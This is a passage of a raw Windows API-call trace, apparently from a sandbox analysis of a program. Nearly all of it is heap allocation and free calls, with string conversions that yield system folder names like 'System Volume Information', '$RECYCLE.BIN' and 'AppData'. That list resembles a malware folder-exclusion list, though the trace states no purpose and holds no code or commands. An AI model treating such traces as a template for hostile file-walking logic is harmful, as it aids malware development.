RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3bc08 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5e8) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d248) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c630) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d238) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c678) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d228) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c6c0) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d218) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c708) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d208) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c750) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1e8) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c798) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1f8) returned 1 [0040.795] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c35058) returned 1 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1c35058 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1f8 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c798 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1e8 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c750 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d208 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c708 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d218 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c6c0 [0040.795] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d228 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c678 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d238 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c630 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d248 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5e8 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d298) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3bc08 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.796] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.796] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c798) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1f8) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c750) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1e8) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c708) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d208) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c6c0) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d218) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c678) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d228) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c630) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d238) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5e8) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d248) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c35058) returned 1 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0040.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dae0 [0040.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1f8, cbMultiByte=25, lpWideCharStr=0x1d3dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3db68 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dae0) returned 1 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d248 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dae0 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3db68) returned 1 [0040.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3db68 [0040.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1b0, cbMultiByte=12, lpWideCharStr=0x1d3db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dbf0 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3db68) returned 1 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d238 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3db68 [0040.797] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dbf0) returned 1 [0040.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0040.797] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dbf0 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c168, cbMultiByte=8, lpWideCharStr=0x1d3dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dc78 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dbf0) returned 1 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d228 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dbf0 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dc78) returned 1 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dc78 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpWideCharStr=0x1d3dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dd00 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dc78) returned 1 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d218 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dc78 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd00) returned 1 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dd00 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c240, cbMultiByte=11, lpWideCharStr=0x1d3dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dd88 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd00) returned 1 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3dd00 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d208 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3de28 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd88) returned 1 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3deb0 [0040.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpWideCharStr=0x1d3deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3df38 [0040.798] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3deb0) returned 1 [0040.798] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1e8 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3deb0 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3df38) returned 1 [0040.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3df38 [0040.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpWideCharStr=0x1d3df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dfc0 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3df38) returned 1 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1f8 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3df38 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dfc0) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d298) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.799] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c32850 [0040.799] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c32850 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.800] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d618 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.800] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2e8 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5e8 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.801] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d298) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.801] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5e8) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2e8) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d618) returned 1 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d618 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2e8 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5e8 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.802] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, 